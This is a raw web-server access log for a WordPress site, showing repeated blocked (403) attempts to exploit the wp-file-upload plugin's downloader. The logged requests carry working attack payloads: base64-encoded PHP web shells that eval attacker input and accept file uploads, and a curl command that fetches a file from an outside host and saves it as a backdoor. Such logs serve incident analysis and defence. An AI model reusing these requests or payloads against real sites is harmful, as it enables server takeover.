access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:10:12:15 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2705.39 Safari/537.36"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:11:36:42 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:48.0) Gecko/20100101 Firefox/48.0"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:11:36:42 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:48.0) Gecko/20100101 Firefox/48.0"
access_log.01-10.txt:109.237.99.63 www.eawhoa.com - [10/Jan/2025:12:03:05 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:50.0) Gecko/20100101 Firefox/50.0"
access_log.01-10.txt:109.237.99.63 www.eawhoa.com - [10/Jan/2025:12:07:15 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:46.0) Gecko/20100101 Firefox/46.0"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:12:08:45 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:12:08:45 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:13:37:41 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2862.25 Safari/537.36"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:13:37:44 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2862.25 Safari/537.36"
access_log.01-10.txt:109.237.99.63 www.eawhoa.com - [10/Jan/2025:14:09:58 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Windows NT 5.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko"
access_log.01-10.txt:109.237.99.63 www.eawhoa.com - [10/Jan/2025:14:11:26 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2685.53 Safari/537.36"
access_log.01-10.txt:109.237.99.63 www.eawhoa.com - [10/Jan/2025:14:11:28 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2685.53 Safari/537.36"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:14:12:21 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:15:38:32 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2939.61 Safari/537.36"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:15:38:33 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2939.61 Safari/537.36"
access_log.01-10.txt:109.237.99.63 www.eawhoa.com - [10/Jan/2025:16:09:03 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:16:09:15 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:16:20:44 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2895.55 Safari/537.36"
access_log.01-10.txt:109.237.99.63 www.eawhoa.com - [10/Jan/2025:17:37:01 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:47.0) Gecko/20100101 Firefox/47.0"
access_log.01-10.txt:109.237.99.63 www.eawhoa.com - [10/Jan/2025:17:37:01 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:47.0) Gecko/20100101 Firefox/47.0"
access_log.01-10.txt:91.186.218.213 www.eawhoa.com - [10/Jan/2025:18:47:47 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "-" "Mozilla/5.0 (Windows NT 6.3; rv:49.0) Gecko/20100101 Firefox/49.0"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:19:27:03 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:19:27:04 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:19:32:32 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:19:32:32 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php" "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:19:39:34 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:19:39:35 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_&4=file_put_contents%28%22a015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWzddLCRfUE9TVFs5XSk7Pz4%3D%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.3; WOW64; Trident/5.0)"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:19:39:35 -0500] "POST /wp-content/plugins/wp-file-upload/a015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_&4=file_put_contents%28%22a015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWzddLCRfUE9TVFs5XSk7Pz4%3D%22%29%29%3B" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.3; WOW64; Trident/5.0)"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:19:39:36 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/a015a53bd738f.php" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.3; WOW64; Trident/5.0)"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:21:33:31 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
